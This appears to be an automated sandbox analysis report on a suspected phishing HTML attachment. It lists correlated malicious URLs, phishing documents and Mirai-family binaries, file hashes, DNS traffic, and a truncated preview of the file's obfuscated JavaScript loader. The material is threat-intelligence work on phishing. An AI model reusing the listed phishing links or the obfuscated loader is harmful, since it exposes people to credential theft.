iUJ9nVKjHKh8gwOo5jolqCysD9Zff84Ezm51MN54BPddQXGKZ1nRJ-2BJmuTkXOYKli8qGD1rwXlMYCDWldN95PZqHQrHpMASDCdHH62pna1Wt7nlVtiRszWzvpqE-2FJtfTf42rx5qfeoO4T03XpsCbRAbg65rarxVAMPgIHXOF7mQBm7wOPFS1pwG3gmu8506MVOc4MdxdO1RwwPDodzKN8CzpIGIbQkOVbHneV5uFRqD2rz6aiFn5I5klzrHLGAPjm5NLR0Ap7MHm7lTrn3jKh4rkcljhGtVjwgIBr4Zpqd-2BYcVyguH-2FQPui-2F2r1suRTmwcHoNrqv8tfWVvpilotAjlp9uC6Kf1Kfr44yc-2BYF3JthnxrPUS6aeO95WIm9ImS-2BSAXKr8AvlUHDcGhs343yge1RuauByDFJaUav8U6SiUbLzRuXWCIPz8-2FtvzYEo7EIPI5n8M-2FAlRgKYdMSLYx1G37-2BSORda0ZeqLeRZaQoT-2BcAc-2BxGn6uTlnjP3AaXwXV281j6yag-2BwtyxOFDSdbDGFILos1E-2FqDhhYJvA-2BjmjQ00ac9Kk1z8wGFn2X2L2kI6Q2SpP3PcQ90uFCbOLtZJADysIfQ6FZVm9-2Ft12T9wUbLLqHIvG6hFVUJ1jMk-2B1COacq1feaWLwcoBQKcX3XqDufF8FxmZ40U2pklh3s4Z9p0K8fmf-2BRQJGu9N-2B3V4ztuGazDIvctPWDgtrPNIW1xB6VBzcObEOuy4-3D	Get hash	malicious	Unknown	Browse	1.1.1.1
	t8f2gm11IC.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://serviceindustrverif.com	Get hash	malicious	Unknown	Browse	172.67.205.57
	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse	104.17.201.1
	https://tbit.be/ZP5s8q	Get hash	malicious	Unknown	Browse	172.67.71.61
	http://korsrattell.xyz/4ErFOZ17657OqkY359tzikkcmggr313KEEOFAZLLFQXQPY22744WEKK2668J40	Get hash	malicious	Phisher	Browse	104.21.52.224
	http://korsrattell.xyz/4Aflic17657IxEC359hjdilxpctu313TZDIFYJUGBDEJPY22744OYLR2668x40	Get hash	malicious	Phisher	Browse	104.21.52.224
	Illinois Central College 2025-03-19.docx	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	172.67.218.237
	https://energy.economictimes.indiatimes.com/redirect.php?url=///itemsidguest.com	Get hash	malicious	Unknown	Browse	104.17.208.240
AKAMAI-ASUS	https://links.notification.intuit.com/ls/click?upn=u001.Hu9nToJLxsJSQR8ZHWn8Ib7JikYF6PNXv5VK-2BAfeSpVHPRNy-2BFDtJ-2BhNUfKXTverofrKjvXVKH4ba5KbTX-2BS4eFKBNIeizbujK19U0vzEaYjORKolL2uckAyKrgdUZOjGQq-2BjVejDDyVM3SCfeFxK3HybfSGmNCc9RFjxlVYimcWir5ethy3oTT-2BLuoT5-2FAOyNzO5m3RvD5JcTKugaMmRNFPXc8pzfUZ2SZSc6aWVa-2BaXY4MQjxVc5OlB9Kee-2FV3M8PkZTFjkopGtGWJL1aNzQ-3D-3DKvqT_N64RM5hAnyn38Hkfm1qJFdJ0n6cdcVVcIxpIzfu6IeTF-2F9vozsQ4ONt3eU90ERcK4vDxFH3HBjfJhGCRGzGJUhDF9X3Zzf62jyThlSVUjM065ltdaKhHxb8oX2t-2FyI4nglitbeko4jHqpdUhvwTb4qhSvHv6ZMZDW-2FKbwHodf1SM0HBhj65nWgj3sy0pVKxWiSJO-2Fwm04mCSd1ykh7waYjFSBWw3-2FsDTlFPaSknQg1XTOS-2BpsZQNwL12sgyojHeQeRYMnQa4EV-2FGPi5J-2FmuwU2Z7ghhyyn-2F8jKrX70WLHTSMInZhmzNClrwP5Fv1FZctk2qY3EEraW9MRruiAzIy50bp0-2FPYFWwNjxfYYpT0dv0RyczSBc3oHvHqFaw6vknD4vEGTJU55CERYFM4iNhaesgeqhqv3Y7Zu6XQJ-2Fft9ZZ1JXDOsM1geJP5Uf7-2BitfymS0FXjrgjULHO7E3mD6XkZfuOBGyi2MF4BHBh9Es0XDkskKnG8AqQy1Y9Br6-2BKqOUT288IO0MbeeK-2B2dkjjrTsBCzXZE2wrne-2BlgmKrb3claqs8mjLWfpti-2F5acRHlOffifgduPIJ0yCNTSvoj1OrEhqyEeHDOUg-2B4FPhY9vrTFpEGe7BUBTl-2BEvQTLDQk7jrDDOKxOCyA7KiUJ9nVKjHKh8gwOo5jolqCysD9Zff84Ezm51MN54BPddQXGKZ1nRJ-2BJmuTkXOYKli8qGD1rwXlMYCDWldN95PZqHQrHpMASDCdHH62pna1Wt7nlVtiRszWzvpqE-2FJtfTf42rx5qfeoO4T03XpsCbRAbg65rarxVAMPgIHXOF7mQBm7wOPFS1pwG3gmu8506MVOc4MdxdO1RwwPDodzKN8CzpIGIbQkOVbHneV5uFRqD2rz6aiFn5I5klzrHLGAPjm5NLR0Ap7MHm7lTrn3jKh4rkcljhGtVjwgIBr4Zpqd-2BYcVyguH-2FQPui-2F2r1suRTmwcHoNrqv8tfWVvpilotAjlp9uC6Kf1Kfr44yc-2BYF3JthnxrPUS6aeO95WIm9ImS-2BSAXKr8AvlUHDcGhs343yge1RuauByDFJaUav8U6SiUbLzRuXWCIPz8-2FtvzYEo7EIPI5n8M-2FAlRgKYdMSLYx1G37-2BSORda0ZeqLeRZaQoT-2BcAc-2BxGn6uTlnjP3AaXwXV281j6yag-2BwtyxOFDSdbDGFILos1E-2FqDhhYJvA-2BjmjQ00ac9Kk1z8wGFn2X2L2kI6Q2SpP3PcQ90uFCbOLtZJADysIfQ6FZVm9-2Ft12T9wUbLLqHIvG6hFVUJ1jMk-2B1COacq1feaWLwcoBQKcX3XqDufF8FxmZ40U2pklh3s4Z9p0K8fmf-2BRQJGu9N-2B3V4ztuGazDIvctPWDgtrPNIW1xB6VBzcObEOuy4-3D	Get hash	malicious	Unknown	Browse	173.222.100.254
	t8f2gm11IC.pdf	Get hash	malicious	HTMLPhisher	Browse	104.76.101.49
	Illinois Central College 2025-03-19.docx	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	23.40.179.14
	https://energy.economictimes.indiatimes.com/redirect.php?url=///itemsidguest.com	Get hash	malicious	Unknown	Browse	104.71.178.49
	i486.elf	Get hash	malicious	Mirai	Browse	184.26.66.6
	https://protect2.fireeye.com/v1/url?k=31323334-501d2dca-3114f648-454455534531-f18bcc46852af03b&q=1&e=a5b004d0-9ad2-44a3-a203-9d7fb71ea4db&u=https%3A%2F%2Fhyj48i39.s3.us-east-1.amazonaws.com%2Fdocnwhdheb.html	Get hash	malicious	HTMLPhisher	Browse	23.40.179.76
	hoho.sh4.elf	Get hash	malicious	Unknown	Browse	23.204.246.84
	https://energy.economictimes.indiatimes.com/redirect.php?url=///itemsidguest.com	Get hash	malicious	Unknown	Browse	23.204.12.174
	Nyx4r.ppc.elf	Get hash	malicious	Okiru	Browse	23.43.32.10
	Nyx4r.m68k.elf	Get hash	malicious	Okiru	Browse	23.199.141.148
CLOUDFLARENETUS	https://bid-docs-groovy-site-b6a761.webflow.io/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.31.170
	https://links.notification.intuit.com/ls/click?upn=u001.Hu9nToJLxsJSQR8ZHWn8Ib7JikYF6PNXv5VK-2BAfeSpVHPRNy-2BFDtJ-2BhNUfKXTverofrKjvXVKH4ba5KbTX-2BS4eFKBNIeizbujK19U0vzEaYjORKolL2uckAyKrgdUZOjGQq-2BjVejDDyVM3SCfeFxK3HybfSGmNCc9RFjxlVYimcWir5ethy3oTT-2BLuoT5-2FAOyNzO5m3RvD5JcTKugaMmRNFPXc8pzfUZ2SZSc6aWVa-2BaXY4MQjxVc5OlB9Kee-2FV3M8PkZTFjkopGtGWJL1aNzQ-3D-3DKvqT_N64RM5hAnyn38Hkfm1qJFdJ0n6cdcVVcIxpIzfu6IeTF-2F9vozsQ4ONt3eU90ERcK4vDxFH3HBjfJhGCRGzGJUhDF9X3Zzf62jyThlSVUjM065ltdaKhHxb8oX2t-2FyI4nglitbeko4jHqpdUhvwTb4qhSvHv6ZMZDW-2FKbwHodf1SM0HBhj65nWgj3sy0pVKxWiSJO-2Fwm04mCSd1ykh7waYjFSBWw3-2FsDTlFPaSknQg1XTOS-2BpsZQNwL12sgyojHeQeRYMnQa4EV-2FGPi5J-2FmuwU2Z7ghhyyn-2F8jKrX70WLHTSMInZhmzNClrwP5Fv1FZctk2qY3EEraW9MRruiAzIy50bp0-2FPYFWwNjxfYYpT0dv0RyczSBc3oHvHqFaw6vknD4vEGTJU55CERYFM4iNhaesgeqhqv3Y7Zu6XQJ-2Fft9ZZ1JXDOsM1geJP5Uf7-2BitfymS0FXjrgjULHO7E3mD6XkZfuOBGyi2MF4BHBh9Es0XDkskKnG8AqQy1Y9Br6-2BKqOUT288IO0MbeeK-2B2dkjjrTsBCzXZE2wrne-2BlgmKrb3claqs8mjLWfpti-2F5acRHlOffifgduPIJ0yCNTSvoj1OrEhqyEeHDOUg-2B4FPhY9vrTFpEGe7BUBTl-2BEvQTLDQk7jrDDOKxOCyA7KiUJ9nVKjHKh8gwOo5jolqCysD9Zff84Ezm51MN54BPddQXGKZ1nRJ-2BJmuTkXOYKli8qGD1rwXlMYCDWldN95PZqHQrHpMASDCdHH62pna1Wt7nlVtiRszWzvpqE-2FJtfTf42rx5qfeoO4T03XpsCbRAbg65rarxVAMPgIHXOF7mQBm7wOPFS1pwG3gmu8506MVOc4MdxdO1RwwPDodzKN8CzpIGIbQkOVbHneV5uFRqD2rz6aiFn5I5klzrHLGAPjm5NLR0Ap7MHm7lTrn3jKh4rkcljhGtVjwgIBr4Zpqd-2BYcVyguH-2FQPui-2F2r1suRTmwcHoNrqv8tfWVvpilotAjlp9uC6Kf1Kfr44yc-2BYF3JthnxrPUS6aeO95WIm9ImS-2BSAXKr8AvlUHDcGhs343yge1RuauByDFJaUav8U6SiUbLzRuXWCIPz8-2FtvzYEo7EIPI5n8M-2FAlRgKYdMSLYx1G37-2BSORda0ZeqLeRZaQoT-2BcAc-2BxGn6uTlnjP3AaXwXV281j6yag-2BwtyxOFDSdbDGFILos1E-2FqDhhYJvA-2BjmjQ00ac9Kk1z8wGFn2X2L2kI6Q2SpP3PcQ90uFCbOLtZJADysIfQ6FZVm9-2Ft12T9wUbLLqHIvG6hFVUJ1jMk-2B1COacq1feaWLwcoBQKcX3XqDufF8FxmZ40U2pklh3s4Z9p0K8fmf-2BRQJGu9N-2B3V4ztuGazDIvctPWDgtrPNIW1xB6VBzcObEOuy4-3D	Get hash	malicious	Unknown	Browse	1.1.1.1
	t8f2gm11IC.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://serviceindustrverif.com	Get hash	malicious	Unknown	Browse	172.67.205.57
	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse	104.17.201.1
	https://tbit.be/ZP5s8q	Get hash	malicious	Unknown	Browse	172.67.71.61
	http://korsrattell.xyz/4ErFOZ17657OqkY359tzikkcmggr313KEEOFAZLLFQXQPY22744WEKK2668J40	Get hash	malicious	Phisher	Browse	104.21.52.224
	http://korsrattell.xyz/4Aflic17657IxEC359hjdilxpctu313TZDIFYJUGBDEJPY22744OYLR2668x40	Get hash	malicious	Phisher	Browse	104.21.52.224
	Illinois Central College 2025-03-19.docx	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	172.67.218.237
	https://energy.economictimes.indiatimes.com/redirect.php?url=///itemsidguest.com	Get hash	malicious	Unknown	Browse	104.17.208.240
LILLY-ASUS	t8f2gm11IC.pdf	Get hash	malicious	HTMLPhisher	Browse	43.128.193.190
	https://kbgchambersco.artisticlandscapes.de/ZgBuZ/	Get hash	malicious	HTMLPhisher	Browse	43.128.240.50
	https://rolyms.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	43.152.64.193
	i686.elf	Get hash	malicious	Mirai	Browse	40.160.92.142
	i486.elf	Get hash	malicious	Mirai	Browse	40.177.65.180
	resgod.m68k.elf	Get hash	malicious	Mirai	Browse	40.254.95.213
	hoho.m68k.elf	Get hash	malicious	Unknown	Browse	43.85.133.189
	hoho.armv4l.elf	Get hash	malicious	Unknown	Browse	40.222.237.248
	hoho.i686.elf	Get hash	malicious	Unknown	Browse	43.100.132.210
	hoho.sparc.elf	Get hash	malicious	Unknown	Browse	40.174.87.7

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

File type:	HTML document, ASCII text, with very long lines (36557), with CRLF line terminators
Entropy (8bit):	4.534133644066624
TrID:	HyperText Markup Language (13008/1) 61.90% HTML Application (8008/1) 38.10%
File name:	#U25baPlay_VM-Now(John.moorer)ATTT0003.html
File size:	36'683 bytes
MD5:	6f6ebc5312efbec8a578c12673e1be48
SHA1:	7f9c493afd4b47150295fb23dafccd264b62b6a7
SHA256:	d37edaf72984338fec15ca85a19d7e26e3de2f3ce998201db90408d26b8ab942
SHA512:	c5e4d07a45f17280cc4aeaef402d380cffa0f0918a0e941cb9840bbe2f9d1e17618e56f9decc396516e6c13ffca42febc80ee3f8269e8fcb30a6bdc0f9eea295
SSDEEP:	768:CAfMZvEkV8et+1MAMoLH8GAF1uKJlFYxLGfiC3mgR9DwUq+RXHUHNd+NuHvrDz05:RMZDAy/lFYxLGfiC3mgR9DwUq+RXHUHs
TLSH:	98F242DA3E91D207624C0BFBAA3595E6D37B3C4EA1EC690F920479D9A86413EC5F0D70
File Content Preview:	<script>....var _0x5bf28e=_0xef96;function _0xef96(_0x35fc8c,_0x541956){var _0x14e2d9=_0x3ab4();return _0xef96=function(_0x513069,_0x3194a6){_0x513069=_0x513069-(0x2367+-0xf42+0x1*-0x1367);var _0x27c60e=_0x14e2d9[_0x513069];if(_0xef96['\x51\x69\x42\x6f\x7

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 16:21:59.801256895 CET	53	59253	1.1.1.1	192.168.2.5
Mar 20, 2025 16:21:59.818149090 CET	53	64177	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:00.587027073 CET	53	63921	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:00.613162994 CET	53	65512	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:03.883445024 CET	63265	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:03.883693933 CET	53945	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:03.990010977 CET	53	53945	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:03.990051985 CET	53	63265	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:05.320338964 CET	61195	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:05.326049089 CET	63744	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:05.326997995 CET	61280	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:05.327351093 CET	51814	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:05.327904940 CET	65085	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:05.328274012 CET	63898	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:05.329447031 CET	57364	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:05.329660892 CET	54108	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:05.330420971 CET	64974	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:05.330569983 CET	58782	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:05.427812099 CET	53	61195	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:05.429898977 CET	53	63744	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:05.430232048 CET	53	61280	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:05.432892084 CET	53	63898	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:05.433470011 CET	53	54108	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:05.433725119 CET	53	65085	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:05.434437990 CET	53	62067	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:05.434453011 CET	53	51814	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:05.435985088 CET	53	57364	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:06.350804090 CET	50216	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:06.350986958 CET	59864	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:06.553157091 CET	53	58782	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:06.640450001 CET	53	64974	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:07.046690941 CET	53	59864	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:07.138839006 CET	53	50216	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:09.501491070 CET	55691	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:09.501640081 CET	51394	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:09.505743027 CET	60578	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:09.505898952 CET	62237	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:09.612176895 CET	53	62237	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:09.612534046 CET	53	60578	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:09.615762949 CET	53	55691	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:09.644814014 CET	53	51394	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:10.249649048 CET	51539	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:10.250643015 CET	53894	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:10.366871119 CET	53	53894	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:10.367098093 CET	53	51539	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:14.140892029 CET	54937	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:14.141050100 CET	50030	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:14.278815985 CET	53	50030	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:14.288073063 CET	53	54937	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:17.150799990 CET	62329	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:17.151124001 CET	51964	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:17.252170086 CET	53	62329	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:17.253634930 CET	53	51964	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:17.609409094 CET	53	58933	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:17.656555891 CET	52538	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:17.656761885 CET	64143	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:17.760566950 CET	53	64143	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:17.798398972 CET	53	52538	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:18.480115891 CET	55665	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:18.480115891 CET	60615	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:18.585088015 CET	53	55665	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:18.607048988 CET	53	60615	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:19.065134048 CET	50696	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:19.065519094 CET	49446	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:22:19.171533108 CET	53	50696	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:19.212369919 CET	53	49446	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:37.043570042 CET	53	57059	1.1.1.1	192.168.2.5
Mar 20, 2025 16:22:56.016767979 CET	138	138	192.168.2.5	192.168.2.255
Mar 20, 2025 16:22:59.455790043 CET	53	64127	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:00.741645098 CET	53	58594	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:02.274113894 CET	53	56416	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:07.857820988 CET	61391	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:07.857820988 CET	60850	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:07.960673094 CET	53	60850	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:07.963748932 CET	53	61391	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:09.086941004 CET	51474	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:09.087160110 CET	62339	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:09.188630104 CET	53	51474	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:09.189147949 CET	53	62339	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:11.554604053 CET	60600	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:11.666073084 CET	53	60600	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:12.556560993 CET	60600	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:12.664189100 CET	53	60600	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:13.571065903 CET	60600	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:13.670389891 CET	53	60600	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:15.574358940 CET	60600	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:15.679658890 CET	53	60600	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:19.574687004 CET	60600	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:19.682636023 CET	53	60600	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:23.857309103 CET	56271	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:23.857604980 CET	55232	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:23.963531017 CET	53	56271	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:23.990231991 CET	53	55232	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:25.092793941 CET	61509	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:25.198080063 CET	53	61509	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:27.553330898 CET	62143	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:27.657665014 CET	53	62143	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:28.554496050 CET	62143	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:28.657177925 CET	53	62143	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:29.556009054 CET	62143	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:29.662286997 CET	53	62143	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:31.631670952 CET	62143	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:31.736561060 CET	53	62143	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:32.328913927 CET	53	56325	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:35.637480021 CET	62143	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:35.736524105 CET	53	62143	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:39.855899096 CET	60807	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:39.856055021 CET	56617	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:39.961430073 CET	53	56617	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:39.962698936 CET	53	60807	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:41.088319063 CET	49793	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:41.195177078 CET	53	49793	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:43.556101084 CET	53435	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:43.669301987 CET	53	53435	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:44.557337046 CET	53435	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:44.661931038 CET	53	53435	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:45.557287931 CET	53435	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:45.661673069 CET	53	53435	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:47.559787989 CET	53435	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:47.666325092 CET	53	53435	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:51.561378956 CET	53435	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:51.671768904 CET	53	53435	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:55.866679907 CET	57979	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:55.866812944 CET	55208	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:55.970405102 CET	53	55208	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:55.970516920 CET	53	57979	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:57.103631020 CET	49435	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:57.207787991 CET	53	49435	1.1.1.1	192.168.2.5
Mar 20, 2025 16:23:59.572766066 CET	49765	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:23:59.682157993 CET	53	49765	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:00.574318886 CET	49765	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:00.674699068 CET	53	49765	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:01.587583065 CET	49765	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:01.691102982 CET	53	49765	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:03.602307081 CET	49765	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:03.704431057 CET	53	49765	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:07.607353926 CET	49765	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:07.709350109 CET	53	49765	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:11.852770090 CET	63285	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:11.853169918 CET	57653	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:11.959184885 CET	53	63285	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:11.967063904 CET	53	57653	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:13.091144085 CET	53829	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:13.198225975 CET	53	53829	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:15.557405949 CET	53516	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:15.666882992 CET	53	53516	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:16.559264898 CET	53516	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:16.666119099 CET	53	53516	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:17.570585012 CET	53516	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:17.678742886 CET	53	53516	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:19.577568054 CET	53516	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:19.681274891 CET	53	53516	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:19.980263948 CET	53	58448	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:23.585813999 CET	53516	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:23.685193062 CET	53	53516	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:23.861715078 CET	58960	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:23.861856937 CET	57429	53	192.168.2.5	1.1.1.1
Mar 20, 2025 16:24:23.976206064 CET	53	58960	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:23.976972103 CET	53	57429	1.1.1.1	192.168.2.5
Mar 20, 2025 16:24:25.103293896 CET	54366	53	192.168.2.5	1.1.1.1
